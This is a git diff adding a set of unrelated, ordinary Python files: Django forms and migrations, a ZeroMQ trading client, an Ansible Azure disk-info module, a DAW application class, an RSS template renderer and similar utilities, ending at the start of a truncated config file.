0000000000000000000000000000000000000000..5cec021c71c2aad7e526b0adf7e1e04a9e41d1c6 --- /dev/null +++ b/pool/shard009/Python/0083811_actions.py @@ -0,0 +1,25 @@ +# -*- coding: utf-8 -*- +from __future__ import unicode_literals, absolute_import + +from udata.models import Reuse, Dataset + +from .models import Issue + + +def issues_for(user, only_open=True): + ''' + Build a queryset to query issues for a given user's assets. + + It includes issues coming from the user's organizations + + :param bool only_open: whether to include closed issues or not. + ''' + # Only fetch required fields for issues filtering (id and slug) + # Greatly improve performances and memory usage + datasets = Dataset.objects.owned_by(user.id, *user.organizations).only('id', 'slug') + reuses = Reuse.objects.owned_by(user.id, *user.organizations).only('id', 'slug') + + qs = Issue.objects(subject__in=list(datasets) + list(reuses)) + if only_open: + qs = qs(closed__exists=False) + return qs diff --git a/pool/shard009/Python/0083821_Application.py b/pool/shard009/Python/0083821_Application.py new file mode 100644 index 0000000000000000000000000000000000000000..fc82b822d542882a90f85c594c1fbf56b978648a --- /dev/null +++ b/pool/shard009/Python/0083821_Application.py @@ -0,0 +1,154 @@ +from typing import Optional + +from uqbar.containers import UniqueTreeTuple + +from supriya.realtime import Group, Server + +from .DawNode import DawNode +from .DeviceType import DeviceType +from .MixerContext import MixerContext +from .SceneContainer import SceneContainer +from .Send import Send +from .Track import Track +from .TrackContainer import TrackContainer +from .Transport import Transport + + +class Application(UniqueTreeTuple, MixerContext): + """ + A DAW application. + """ + + ### INITIALIZER ### + + def __init__(self, *, channel_count=2): + self._channel_count = channel_count + self._scenes = SceneContainer() + self._scenes._parent = self + self._server = None + self._soloed_tracks = set() + + self._transport = Transport() + self._tracks = TrackContainer() + self._return_tracks = TrackContainer(name="return track container") + self._master_track = Track( + device_types=(DeviceType.AUDIO,), + channel_count=channel_count, + name="master track", + ) + self._cue_track = Track( + device_types=(DeviceType.AUDIO,), + channel_count=channel_count, + name="cue track", + ) + + UniqueTreeTuple.__init__( + self, + children=[ + self._transport, + self._tracks, + self._return_tracks, + self._master_track, + self._cue_track, + ], + ) + self._node = Group(children=[_.node for _ in self], name="application") + + ### PUBLIC METHODS ### + + def add_scene(self): + scene = self._scenes.add_scene() + for child in self.depth_first(): + if isinstance(child, Track): + child.slots.add_slot() + return scene + + def add_track(self, channel_count=2, name=None) -> Track: + """ + Add a track. + """ + track = Track(channel_count=channel_count, name=name) + self.tracks.append(track) + track.add_send(Send.DEFAULT) + return track + + def boot(self, server=None) -> None: + """ + Boot the DAW application. + """ + self._server = server or Server.default() + if not self._server.is_running: + self._server.boot() + for alloc_node in reversed(list(self)): # type: DawNode + alloc_node._pre_allocate(self._server) + self._node.allocate(target_node=self._server) + for post_alloc_node in reversed(list(self)): # type: DawNode + post_alloc_node._post_allocate() + + def quit(self) -> None: + """ + Quit the DAW application. + """ + self._node.free() + for node in reversed(list(self)): # type: DawNode + node._free() + self._server.quit() + self._server = None + + ### PUBLIC PROPERTIES ### + + @property + def channel_count(self) -> int: + """ + Get the application channel count. + """ + return self._channel_count + + @property + def cue_track(self) -> Track: + """ + Get the application cue track. + """ + return self._cue_track + + @property + def node(self) -> Group: + """ + Get the application's underlying server node. + """ + return self._node + + @property + def master_track(self) -> Track: + """ + Get the application's master track. + """ + return self._master_track + + @property + def server(self) -> Optional[Server]: + """ + Get the application's underlying server. + """ + return self._server + + @property + def return_tracks(self) -> TrackContainer: + """ + Get the application's track container. + """ + return self._return_tracks + + @property + def tracks(self) -> TrackContainer: + """ + Get the application's track container. + """ + return self._tracks + + @property + def transport(self) -> Transport: + """ + Get the application's transport. + """ + return self._transport diff --git a/pool/shard009/Python/0083823_stemmerProxy.py b/pool/shard009/Python/0083823_stemmerProxy.py new file mode 100644 index 0000000000000000000000000000000000000000..a188cd31a077d3a39f8aba7def414f042d52d4bd --- /dev/null +++ b/pool/shard009/Python/0083823_stemmerProxy.py @@ -0,0 +1,19 @@ +from porterStemmer import PorterStemmer +import re + +class StemmerProxy: + + def __init__(self): + self.stemmer = PorterStemmer() + + def run(self, word): + if not word: + return None + if not isinstance(word, str): + return None + word = re.sub("[^a-zA-Z]+", "", word) + word = word.lower() + result = self.stemmer.stem(word, 0, len(word)-1) + if not result: + return None + return result diff --git a/pool/shard009/Python/0083830_forms.py b/pool/shard009/Python/0083830_forms.py new file mode 100644 index 0000000000000000000000000000000000000000..9b09a902bf3ec023a9122f1e115304a999161cf2 --- /dev/null +++ b/pool/shard009/Python/0083830_forms.py @@ -0,0 +1,78 @@ +from django import forms + +from jenkins.models import JenkinsServer, JobType +from projects.models import ( + Project, Dependency, ProjectDependency) +from jenkins.helpers import create_job +from jenkins.tasks import push_job_to_jenkins + + +class ProjectForm(forms.ModelForm): + + auto_track = forms.BooleanField( + help_text="Auto track dependencies", required=False) + + class Meta: + model = Project + + def save(self, commit=True): + project = super(ProjectForm, self).save(commit=False) + project.save() + + requested_dependencies = set(self.cleaned_data["dependencies"]) + current_dependencies = set( + [x.dependency for x in ProjectDependency.objects.filter( + project=project)]) + + dependencies_to_remove = current_dependencies - requested_dependencies + dependencies_to_add = requested_dependencies - current_dependencies + + for dependency in dependencies_to_remove: + ProjectDependency.objects.get( + project=project, dependency=dependency).delete() + + auto_track = self.data.get("auto_track", False) + # Set remaining dependencies for this project to use the auto_track + # value requested. + ProjectDependency.objects.filter( + project=project).update(auto_track=auto_track) + + # TODO: This probably shouldn't use the get_current_build if + # auto_track=False + for dependency in dependencies_to_add: + ProjectDependency.objects.create( + project=project, dependency=dependency, + auto_track=auto_track, + current_build=dependency.get_current_build()) + return project + + +class DependencyCreateForm(forms.ModelForm): + + jobtype = forms.ModelChoiceField( + queryset=JobType.objects, required=True, label="Job type", + help_text="Select a job type to use.") + server = forms.ModelChoiceField( + queryset=JenkinsServer.objects, required=True) + + class Meta: + model = Dependency + exclude = ["job"] + + def save(self, commit=True): + dependency = super(DependencyCreateForm, self).save(commit=commit) + job = create_job( + self.cleaned_data["jobtype"], self.cleaned_data["server"]) + push_job_to_jenkins.delay(job.pk) + dependency.job = job + dependency.save() + return dependency + + +class ProjectBuildForm(forms.Form): + + dependencies = forms.ModelMultipleChoiceField( + Dependency.objects, required=True, widget=forms.CheckboxSelectMultiple, + error_messages={"required": "Must select at least one dependency."}) + project = forms.ModelChoiceField( + Project.objects, required=True, widget=forms.HiddenInput) diff --git a/pool/shard009/Python/0083837_0002_auto_20170823_0957.py b/pool/shard009/Python/0083837_0002_auto_20170823_0957.py new file mode 100644 index 0000000000000000000000000000000000000000..b7ba20792ece14d2dd17317d23086cac61f8d8bd --- /dev/null +++ b/pool/shard009/Python/0083837_0002_auto_20170823_0957.py @@ -0,0 +1,25 @@ +# -*- coding: utf-8 -*- +# Generated by Django 1.11.4 on 2017-08-23 09:57 +from __future__ import unicode_literals + +from django.db import migrations, models + + +class Migration(migrations.Migration): + + dependencies = [ + ('puppet', '0001_initial'), + ] + + operations = [ + migrations.AddField( + model_name='class', + name='default', + field=models.BooleanField(default=False), + ), + migrations.AddField( + model_name='group', + name='default', + field=models.BooleanField(default=False), + ), + ] diff --git a/pool/shard009/Python/0083841_test_modify_gruppe.py b/pool/shard009/Python/0083841_test_modify_gruppe.py new file mode 100644 index 0000000000000000000000000000000000000000..7a233c1566e78664798578336f217bb98899c4e5 --- /dev/null +++ b/pool/shard009/Python/0083841_test_modify_gruppe.py @@ -0,0 +1,27 @@ +# -*- coding: utf-8 -*- +from model.group import Group +from random import randrange + + + + + +def test_modify_gruppe(app, db): + app.group.open() + old_groups = db.get_group_list() + index = randrange(len(old_groups)) + + if app.group.count() == 0: + app.group.create_group(Group("test_group")) + + group = Group("[eqgbplfl;buehlf", "[eqgbplfl;buehlf", "[eqgbplfl;buehlf") + group.id = old_groups[index].id + + app.group.modify_group_by_id(group.id, group) + + assert len(old_groups) == app.group.count() + new_groups = db.get_group_list() + + + old_groups[index] = group + assert sorted(old_groups, key=Group.id_or_max) == sorted(new_groups, key=Group.id_or_max) diff --git a/pool/shard009/Python/0083845_zmq_client.py b/pool/shard009/Python/0083845_zmq_client.py new file mode 100644 index 0000000000000000000000000000000000000000..246b76fca7e3abd87b6adc89225358c2850da664 --- /dev/null +++ b/pool/shard009/Python/0083845_zmq_client.py @@ -0,0 +1,186 @@ +import base64 +import os + +import zmq +from zmq.eventloop.zmqstream import ZMQStream + +from pyblinktrade.message_builder import MessageBuilder +from pyblinktrade.message import JsonMessage, InvalidMessageException + +class TradeClientException(Exception): + def __init__(self, error_message, detail = None): + self.error_message = error_message + self.detail = None + super(TradeClientException, self).__init__() + + def __str__(self): + if self.detail: + return self.error_message + '( detail:%s)'%self.detail + return self.error_message + + + +class TradeClient(object): + def __init__(self, zmq_context, trade_in_socket, trade_pub = None, reopen=True): + self.zmq_context = zmq_context + self.connection_id = None + self.trade_in_socket = trade_in_socket + self.is_logged = False + self.user_id = None + self.reopen = reopen + self.trade_pub = trade_pub + + self.trade_pub_socket = None + self.trade_pub_socket_stream = None + + if self.trade_pub: + self.trade_pub_socket = self.zmq_context.socket(zmq.SUB) + self.trade_pub_socket.connect(self.trade_pub) + self.trade_pub_socket_stream = ZMQStream(self.trade_pub_socket) + self.trade_pub_socket_stream.on_recv(self._on_trade_publish) + + def _on_trade_publish(self, message): + self.on_trade_publish(message) + + def on_trade_publish(self, message): + pass + + def connect(self): + if not self.trade_pub_socket and self.trade_pub: + self.trade_pub_socket = self.zmq_context.socket(zmq.SUB) + self.trade_pub_socket.connect(self.trade_pub) + self.trade_pub_socket_stream = ZMQStream(self.trade_pub_socket) + self.trade_pub_socket_stream.on_recv(self._on_trade_publish) + + self.trade_in_socket.send( "OPN," + base64.b32encode(os.urandom(10))) + response_message = self.trade_in_socket.recv() + opt_code = response_message[:3] + raw_message = response_message[4:] + + if opt_code != 'OPN': + if opt_code == 'ERR': + raise TradeClientException( error_message = raw_message ) + + raise TradeClientException( error_message = 'Protocol Error: Unknow message opt_code received' ) + + self.connection_id = raw_message + + + def close(self): + if self.trade_pub_socket_stream: + self.trade_pub_socket_stream.close() + self.trade_pub_socket_stream = None + self.trade_pub_socket.close() + self.trade_pub_socket = None + + if self.connection_id: + self.trade_in_socket.send( "CLS," + self.connection_id ) + response_message = self.trade_in_socket.recv() + self.connection_id = None + + def isConnected(self): + return self.connection_id is not None + + def getBrokerList(self, status_list): + page = 0 + page_size = 100 + + broker_list = [] + columns = [] + while True: + res = self.sendJSON(MessageBuilder.getBrokerList( status_list, None, page, page_size )) + columns = res.get('Columns') + broker_list.extend(res.get('BrokerListGrp')) + if len(res.get('BrokerListGrp')) < page_size: + break + page += 1 + + return broker_list, columns + + def getLastTrades(self, last_trade_id, page=0): + + if last_trade_id is None: + last_trade_id = 1 + + rep_msg = self.sendJSON({ 'MsgType': 'U32', + 'TradeHistoryReqID': -1, + 'Page': page, + 'PageSize': 100 }) + + result_list = [] + + if rep_msg.isTradeHistoryResponse(): + last_processed = 0 + trade_list = rep_msg.get('TradeHistoryGrp') + if not trade_list : + return result_list + for trade in trade_list: + if last_trade_id <= trade[0]: + last_processed = trade[0] + if last_processed != last_trade_id: + result_list.append(trade) + + + if last_processed != last_trade_id: + return result_list + self.getLastTrades(last_trade_id, page+1) + + return result_list + + + def getSecurityList(self): + resp = self.sendJSON({ 'MsgType' : 'x', + 'SecurityReqID': 'getSecurityList', + 'SecurityListRequestType': 0}) + return resp + + + + def sendString(self, string_msg): + if not self.isConnected() and self.reopen: + self.connect() + + self.trade_in_socket.send_unicode( "REQ," + self.connection_id + ',' + string_msg) + + response_message = self.trade_in_socket.recv() + raw_resp_message_header = response_message[:3] + raw_resp_message = response_message[4:].strip() + + rep_msg = None + if raw_resp_message: + try: + rep_msg = JsonMessage(raw_resp_message) + except Exception: + pass + + if raw_resp_message_header == 'CLS' and rep_msg and not rep_msg.isErrorMessage(): + self.close() + if self.reopen: + self.connect() + return rep_msg + + if raw_resp_message_header != 'REP': + self.close() + if self.reopen: + self.connect() + + if rep_msg and rep_msg.isErrorMessage(): + raise TradeClientException(rep_msg.get('Description'), rep_msg.get('Detail')) + raise TradeClientException('Invalid request: ' + raw_resp_message ) + + + if rep_msg and rep_msg.isUserResponse(): + if rep_msg.get("UserStatus") == 1: + self.user_id = rep_msg.get("UserID") + self.is_logged = True + + if self.trade_pub_socket: + self.trade_pub_socket.setsockopt(zmq.SUBSCRIBE, '^' + str(self.user_id) + '$') + + return rep_msg + + def sendJSON(self, json_msg): + import json + return self.sendString(json.dumps(json_msg)) + + def sendMessage(self, msg): + return self.sendString(msg.raw_message) \ No newline at end of file diff --git a/pool/shard009/Python/0083855_0004_auto_20171122_1437.py b/pool/shard009/Python/0083855_0004_auto_20171122_1437.py new file mode 100644 index 0000000000000000000000000000000000000000..8a571510db2273be1a0abf75fe7a47e1f33edee5 --- /dev/null +++ b/pool/shard009/Python/0083855_0004_auto_20171122_1437.py @@ -0,0 +1,32 @@ +# -*- coding: utf-8 -*- +# Generated by Django 1.11.7 on 2017-11-22 17:37 +from __future__ import unicode_literals + +from django.db import migrations, models + + +class Migration(migrations.Migration): + + dependencies = [ + ('postsubjectivity', '0003_alias_last_login'), + ] + + operations = [ + migrations.CreateModel( + name='ImagePost', + fields=[ + ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), + ('src', models.CharField(max_length=1000)), + ], + ), + migrations.DeleteModel( + name='Answer', + ), + migrations.RemoveField( + model_name='question', + name='alias', + ), + migrations.DeleteModel( + name='Question', + ), + ] diff --git a/pool/shard009/Python/0083857_0002_use_small_integer_fields.py b/pool/shard009/Python/0083857_0002_use_small_integer_fields.py new file mode 100644 index 0000000000000000000000000000000000000000..797d9b0fb5fe17c8316b31503e7e129b60b0cd40 --- /dev/null +++ b/pool/shard009/Python/0083857_0002_use_small_integer_fields.py @@ -0,0 +1,35 @@ +# -*- coding: utf-8 -*- +# Generated by Django 1.11.6 on 2017-10-13 17:58 +from __future__ import unicode_literals + +from django.db import migrations, models + + +class Migration(migrations.Migration): + + dependencies = [ + ('prosopography', '0001_initial'), + ] + + operations = [ + migrations.AlterField( + model_name='person', + name='birth', + field=models.SmallIntegerField(blank=True, null=True), + ), + migrations.AlterField( + model_name='person', + name='cos', + field=models.SmallIntegerField(blank=True, null=True), + ), + migrations.AlterField( + model_name='person', + name='death', + field=models.SmallIntegerField(blank=True, null=True), + ), + migrations.AlterField( + model_name='person', + name='floruit', + field=models.SmallIntegerField(blank=True, null=True), + ), + ] diff --git a/pool/shard009/Python/0083864_consumers.py b/pool/shard009/Python/0083864_consumers.py new file mode 100644 index 0000000000000000000000000000000000000000..b3305406f21d711b42beceed9abb335fc2b15275 --- /dev/null +++ b/pool/shard009/Python/0083864_consumers.py @@ -0,0 +1,33 @@ +from channels.sessions import channel_session,http_session +from channels import Channel,Group +from channels.auth import http_session_user, channel_session_user, channel_session_user_from_http +import json +from HostManage import models +from FreeEye import utils + +@channel_session_user_from_http +def ws_home_c(message): + if message.user is not None: + message.reply_channel.send({'accept':True}) + for host in message.user.host_set.all(): + Group('monitor_host_'+str(host.id)).add(message.reply_channel) + +@channel_session_user +def ws_home(message): + content = json.loads(message.content['text']) + host = models.Host.objects.get(pk=content['hostid']) + ssh = utils.SSH(hostname=host.addr,port=host.port,username=host.username,password=host.password) + app = content['appName'] + app = models.Application.objects.filter(appName=app).all()[0] + if content['status']: + print(app.startCommand) + ssh.command(app.startCommand) + else: + print(app.stopCommand) + ssh.command(app.stopCommand) + + +@channel_session_user +def ws_home_d(message): + for host in message.user.host_set.all(): + Group('monitor_host_'+str(host.id)).discard(message.reply_channel) \ No newline at end of file diff --git a/pool/shard009/Python/0083865_azure_rm_manageddisk_info.py b/pool/shard009/Python/0083865_azure_rm_manageddisk_info.py new file mode 100644 index 0000000000000000000000000000000000000000..cc90cb9dd594a48260c6abd6679a5e49a1b40b2d --- /dev/null +++ b/pool/shard009/Python/0083865_azure_rm_manageddisk_info.py @@ -0,0 +1,243 @@ +#!/usr/bin/python +# -*- coding: utf-8 -*- + +# Copyright: (c) 2016, Bruno Medina Bolanos Cacho +# GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt) + + +from __future__ import absolute_import, division, print_function +__metaclass__ = type + +ANSIBLE_METADATA = {'metadata_version': '1.1', + 'status': ['preview'], + 'supported_by': 'community'} + +DOCUMENTATION = r''' +--- +module: azure_rm_manageddisk_info + +version_added: "2.9" + +short_description: Get managed disk facts + +description: + - Get facts for a specific managed disk or all managed disks. + +notes: + - This module was called M(azure_rm_managed_disk_facts) before Ansible 2.8. The usage did not change. + +options: + name: + description: + - Limit results to a specific managed disk. + type: str + resource_group: + description: + - Limit results to a specific resource group. + type: str + tags: + description: + - Limit results by providing a list of tags. + - Format tags as 'key' or 'key:value'. + type: list + +extends_documentation_fragment: + - azure + - azure_tags + +author: + - Bruno Medina (@brusMX) +''' + +EXAMPLES = r''' +- name: Get facts for one managed disk + azure_rm_manageddisk_info: + name: Testing + resource_group: myResourceGroup + +- name: Get facts for all managed disks + azure_rm_manageddisk_info: + +- name: Get facts by tags + azure_rm_manageddisk_info: + tags: + - testing +''' + +RETURN = r''' +azure_managed_disk: + description: + - List of managed disk dicts. + returned: always + type: list + contains: + id: + description: + - Resource id. + type: str + name: + description: + - Name of the managed disk. + type: str + location: + description: + - Valid Azure location. + type: str + storage_account_type: + description: + - Type of storage for the managed disk. + - See U(https://docs.microsoft.com/en-us/azure/virtual-machines/windows/disks-types) for more information about this type. + type: str + sample: Standard_LRS + create_option: + description: + - Create option of the disk. + type: str + sample: copy + source_uri: + description: + - URI to a valid VHD file to be used or the resource ID of the managed disk to copy. + type: str + os_type: + description: + - Type of Operating System. + choices: + - linux + - windows + type: str + disk_size_gb: + description: + - Size in GB of the managed disk to be created. + type: str + managed_by: + description: + - Name of an existing virtual machine with which the disk is or will be associated, this VM should be in the same resource group. + type: str + tags: + description: + - Tags to assign to the managed disk. + type: dict + sample: { "tag": "value" } +''' + +from ansible.module_utils.azure_rm_common import AzureRMModuleBase + +try: + from msrestazure.azure_exceptions import CloudError +except Exception: + # handled in azure_rm_common + pass + + +# duplicated in azure_rm_manageddisk +def managed_disk_to_dict(managed_disk): + create_data = managed_disk.creation_data + return dict( + id=managed_disk.id, + name=managed_disk.name, + location=managed_disk.location, + tags=managed_disk.tags, + create_option=create_data.create_option.lower(), + source_uri=create_data.source_uri or create_data.source_resource_id, + disk_size_gb=managed_disk.disk_size_gb, + os_type=managed_disk.os_type.lower() if managed_disk.os_type else None, + storage_account_type=managed_disk.sku.name if managed_disk.sku else None, + managed_by=managed_disk.managed_by, + zone=managed_disk.zones[0] if managed_disk.zones and len(managed_disk.zones) > 0 else '' + ) + + +class AzureRMManagedDiskInfo(AzureRMModuleBase): + """Utility class to get managed disk facts""" + + def __init__(self): + self.module_arg_spec = dict( + resource_group=dict( + type='str' + ), + name=dict( + type='str' + ), + tags=dict( + type='str' + ), + ) + self.results = dict( + ansible_info=dict( + azure_managed_disk=[] + ) + ) + self.resource_group = None + self.name = None + self.create_option = None + self.source_uri = None + self.source_resource_uri = None + self.tags = None + super(AzureRMManagedDiskInfo, self).__init__( + derived_arg_spec=self.module_arg_spec, + supports_check_mode=True, + supports_tags=True) + + def exec_module(self, **kwargs): + for key in self.module_arg_spec: + setattr(self, key, kwargs[key]) + + self.results['ansible_info']['azure_managed_disk'] = ( + self.get_item() if self.name + else (self.list_items_by_resource_group() if self.resource_group else self.list_items()) + ) + + return self.results + + def get_item(self): + """Get a single managed disk""" + item = None + result = [] + + try: + item = self.compute_client.disks.get( + self.resource_group, + self.name) + except CloudError: + pass + + if item and self.has_tags(item.tags, self.tags): + result = [managed_disk_to_dict(item)] + + return result + + def list_items(self): + """Get all managed disks""" + try: + response = self.compute_client.disks.list() + except CloudError as exc: + self.fail('Failed to list all items - {0}'.format(str(exc))) + + results = [] + for item in response: + if self.has_tags(item.tags, self.tags): + results.append(managed_disk_to_dict(item)) + return results + + def list_items_by_resource_group(self): + """Get managed disks in a resource group""" + try: + response = self.compute_client.disks.list_by_resource_group(resource_group_name=self.resource_group) + except CloudError as exc: + self.fail('Failed to list items by resource group - {0}'.format(str(exc))) + + results = [] + for item in response: + if self.has_tags(item.tags, self.tags): + results.append(managed_disk_to_dict(item)) + return results + + +def main(): + """Main module execution code path""" + + AzureRMManagedDiskInfo() + + +if __name__ == '__main__': + main() diff --git a/pool/shard009/Python/0083867_post.py b/pool/shard009/Python/0083867_post.py new file mode 100644 index 0000000000000000000000000000000000000000..4bbb77b0f64f251b56f12711cee2ff1ad4dd1dbc --- /dev/null +++ b/pool/shard009/Python/0083867_post.py @@ -0,0 +1,47 @@ +import os + +import eos.log +import eos.tools +import eos.util + + +def apply_patch(library_name, library_dir, patch_file, pnum): + # We're assuming the patch was applied like in this example: + # diff --exclude=".git" --exclude=".hg" -rupN ./LIBNAME ./LIBNAME_patched > libname.patch + # where the first given location is the unpatched directory, and the second location is the patched directory. + eos.log_verbose("Applying patch file " + patch_file + " to library '" + library_name + "'...") + + arguments = "-d " + library_dir + " -p" + str(pnum) + " < " + patch_file + arguments_binary = "-d " + library_dir + " -p" + str(pnum) + " --binary < " + patch_file + + print_cmd = eos.verbosity() > 1 + + status = eos.util.execute_command( + eos.tools.command_patch() + " --dry-run " + arguments, print_command=print_cmd, quiet=True + ) + + if status != 0: + # try again in binary mode + arguments = arguments_binary + status = eos.util.execute_command( + eos.tools.command_patch() + " --dry-run " + arguments, print_command=print_cmd, quiet=True + ) + + if status != 0: + eos.log_error("patch application failure; has this patch already been applied?") + eos.util.execute_command(eos.tools.command_patch() + " --dry-run " + arguments, print_command=True) + return False + + status = eos.util.execute_command(eos.tools.command_patch() + " " + arguments, print_command=print_cmd, quiet=True) + return status == 0 + + +def run_script(library_name, script_command): + eos.log_verbose("Running script '" + script_command + "' as post-processing for library '" + library_name + "'...") + _, ext = os.path.splitext(script_command.split(" ")[0]) + cmd = script_command + if ext == ".py": + cmd = eos.tools.command_python() + " " + script_command + print_cmd = eos.verbosity() > 1 + status = eos.util.execute_command(cmd, print_command=print_cmd) + return status == 0 diff --git a/pool/shard009/Python/0083868_plot-input.py b/pool/shard009/Python/0083868_plot-input.py new file mode 100644 index 0000000000000000000000000000000000000000..c1873b59d0f3215161f8c9ff42357b016bb366b3 --- /dev/null +++ b/pool/shard009/Python/0083868_plot-input.py @@ -0,0 +1,53 @@ +# Requires the following packages +# math/py-matplotlib +# math/py-numpy + +import matplotlib.pyplot as plt +import numpy as np +import sys +import re + + +# set default values +title = 'Input' +ylabel = 'y' +xlabel = 'x' +legend = 'upper left' +#linestyles = ['x', '--', ':', 'o', 'v', 's', '+', '1', '2', '3', '4' ] +linestyles = ['x-', '^-', 'o-', 's-', 'v-', '2-', '3-', '4-'] +#for more linestyles see "http://matplotlib.org/api/pyplot_api.html#matplotlib.pyplot.plot" + +x = [] +y = [] +for line in sys.stdin: + line = line.replace('\n', '').replace('\t', ' ') + tup = line.split() + x.append(float(tup[0])) + y.append(float(tup[1])) + +# Graphics +plt.title(title) +if xlabel: + plt.xlabel(xlabel, fontsize=18) +plt.ylabel(ylabel, fontsize=18) +#plt.ylim([0, best_result * 1.1]) +leg = [] +lab = [] + +xspan = x[-1] - x[0] +LEFT_OFFSET = 0.05*xspan +plt.xlim([x[0]-LEFT_OFFSET, x[-1]+LEFT_OFFSET]) + +# make plots in blue or black ? +#style = '.-' +style = '.' +pl = plt.plot(x, y, style, linewidth=2, + markersize = 2, antialiased=True) +leg.append(pl[0]) +lab.append('independent variable') + +plt.legend(leg, lab, legend, prop={'size': 16}) +plt.show() #debug +#outfn = sys.argv[1].rsplit('.',1)[0] +#plt.savefig(outfn + '.eps') + diff --git a/pool/shard009/Python/0083869_ankh.py b/pool/shard009/Python/0083869_ankh.py new file mode 100644 index 0000000000000000000000000000000000000000..d67627cf9cfb718324837ebf84f9cbec5dadeecc --- /dev/null +++ b/pool/shard009/Python/0083869_ankh.py @@ -0,0 +1,195 @@ +"""Ankh - will parse a template with {{http://somewhere/rss/feed|fn}} tags +fetching the feeds and running the function on each item in the feed""" +import os +import codecs +import time +import re +import logging +import io +import pytz +from datetime import datetime + +from bs4 import BeautifulSoup +from jinja2 import Environment, FileSystemLoader +import feedparser +import requests +import requests_cache + +from .noa import noa + +options = {} + +logging.basicConfig(level=logging.ERROR) +logger = logging.getLogger(__name__) + +log_stream = io.StringIO() +log_stream_handler = logging.StreamHandler(log_stream) +logger.addHandler(log_stream_handler) + + +def _load_url(url): + try: + headers = {"User-Agent": "linux:net.goodrobot.ankh:v0.0.1 (by /u/jdcantrell)"} + r = requests.get(url, timeout=60, headers=headers) + return r.text + except requests.exceptions.RequestException as e: + logger.error("Could not fetch %s" % url) + logger.error("Exception was raised: %r" % e) + + return "" + + +def _get_feed(url): + global options + data = None + + if data is None: + if options.verbose: + print("Fetching: %s" % url) + + data = _load_url(url) + + return feedparser.parse(data) + + +def _get_date(entry): + try: + return entry.date_parsed + except AttributeError: + pass + + try: + return entry.updated_parsed + except AttributeError: + pass + + try: + return entry.published_parsed + except AttributeError: + pass + + return [0, 0, 0, 0, 0, 0, 0, 0, 0] + + +def _pretty_time(ago): + + if ago < 3600: + time_length = 0 + time_unit = "New!" + elif ago < 43200: + time_length = int(round(ago / 3600)) + time_unit = "hour" + elif ago < 2419200: + time_length = int(round(ago / 86400)) + time_unit = "day" + else: + time_length = int(round(ago / 2419200)) + time_unit = "month" + + if time_length > 1: + time_unit += "s" + + return (time_length, time_unit) + + +# Template functions +def get_entries(url, count=5): + feed = _get_feed(url) + return feed.entries[0:count] + +def get_date(): + return datetime.now(pytz.timezone("US/Pacific")) + + +def find_link(text, index=0): + urls = re.findall(r'href="([^"]+)"', text) + return urls[index] + + +def get_weather(latlngs): + data = [] + for lat, lng in latlngs: + data.append(noa(lat, lng)) + + return data + + +def time_sort(urls, per_feed_count=1): + """Display the entry with time posted prefixed""" + entries = [] + time_list = {} + for url in urls: + feed = _get_feed(url) + + if len(feed.entries): + feed_entries = feed.entries[:per_feed_count] + for entry in feed_entries: + entry.feed_title = feed.feed.title.split("-")[0] + + pub = _get_date(entry) + + ago = time.mktime(time.localtime()) - time.mktime(pub) + # unique key + while ago in time_list: + ago += 0.1 + + time_list[ago] = True + + entry.time_raw = ago + entry.time_length, entry.time_unit = _pretty_time(ago) + entries.append(entry) + + if len(entries): + return sorted(entries, key=lambda k: k.time_raw) + else: + return [] + + +def get_log(): + return log_stream.getvalue() + + +def find_images(html_string): + soup = BeautifulSoup(html_string, "html.parser") + + img_src = [] + for img in soup.find_all("img"): + img_src.append(img.get("src")) + + return img_src + + +def parse(template, outfile, opts): + global options + options = opts + if options.cache: + print("Caching requests") + requests_cache.install_cache("ankh_cache", backend="sqlite") + + full_path = os.path.abspath(template) + path = os.path.dirname(full_path) + + opts.template_paths.append(path) + + env = Environment(loader=FileSystemLoader(opts.template_paths), autoescape=True) + + env.globals["get_entries"] = get_entries + env.filters["find_link"] = find_link + + env.globals["time_sort"] = time_sort + env.globals["images"] = find_images + + env.globals["get_weather"] = get_weather + env.globals["log"] = get_log + env.globals["get_date"] = get_date + + print("Loading %s" % template) + template = env.get_template(full_path.replace(path + "/", "")) + + print("Rendering...") + + pacific_time = datetime.now(pytz.timezone("US/Pacific")) + html = template.render(timestamp=time.time(), date=pacific_time) + outfile = codecs.open(outfile, "w", "utf-8") + outfile.write(html) + outfile.close() diff --git a/pool/shard009/Python/0083871_0001_initial.py b/pool/shard009/Python/0083871_0001_initial.py new file mode 100644 index 0000000000000000000000000000000000000000..7fe60d8192dc99b490df5a470ef326e49afec0aa --- /dev/null +++ b/pool/shard009/Python/0083871_0001_initial.py @@ -0,0 +1,53 @@ +# -*- coding: utf-8 -*- +from __future__ import unicode_literals + +from django.db import migrations, models +import util.models +import django.utils.timezone +import model_utils.fields +import xmodule_django.models + + +class Migration(migrations.Migration): + + dependencies = [ + ] + + operations = [ + migrations.CreateModel( + name='CourseStructureCache', + fields=[ + ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)), + ('created', model_utils.fields.AutoCreatedField(default=django.utils.timezone.now, verbose_name='created', editable=False)), + ('modified', model_utils.fields.AutoLastModifiedField(default=django.utils.timezone.now, verbose_name='modified', editable=False)), + ('course_id', xmodule_django.models.CourseKeyField(unique=True, max_length=255, verbose_name=b'Course ID', db_index=True)), + ('structure_json', util.models.CompressedTextField(null=True, verbose_name=b'Structure JSON', blank=True)), + ], + options={ + 'abstract': False, + }, + ), + migrations.CreateModel( + name='Teacher', + fields=[ + ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)), + ('id_teacher', models.CharField(unique=True, max_length=64)), + ('first_name', models.CharField(max_length=64)), + ('last_name', models.CharField(max_length=64)), + ('image', models.URLField(help_text=b"URL of the teacher's image", max_length=1024, null=True, blank=True)), + ], + ), + migrations.CreateModel( + name='TeacherDescription', + fields=[ + ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)), + ('language', models.CharField(max_length=2, choices=[(b'en', b'English'), (b'it', b'Italiano')])), + ('label', models.TextField()), + ('teacher', models.ForeignKey(to='ecoapi.Teacher')), + ], + ), + migrations.AlterUniqueTogether( + name='teacherdescription', + unique_together=set([('teacher', 'language')]), + ), + ] diff --git a/pool/shard009/Python/0083873_config.py b/pool/shard009/Python/0083873_config.py new file mode 100644 index 0000000000000000000000000000000000000000..be28ce6c764c3f97469e5534c5b427200909aea3 --- /dev/null +++ b/pool/shard009/Python/0083873_config.py @@ -0,0 +1,87 @@ +# -*- coding: utf-8 -*- +#------------------------------------------------------------ +# pelisalacarta - XBMC Plugin +# Configuracion +# 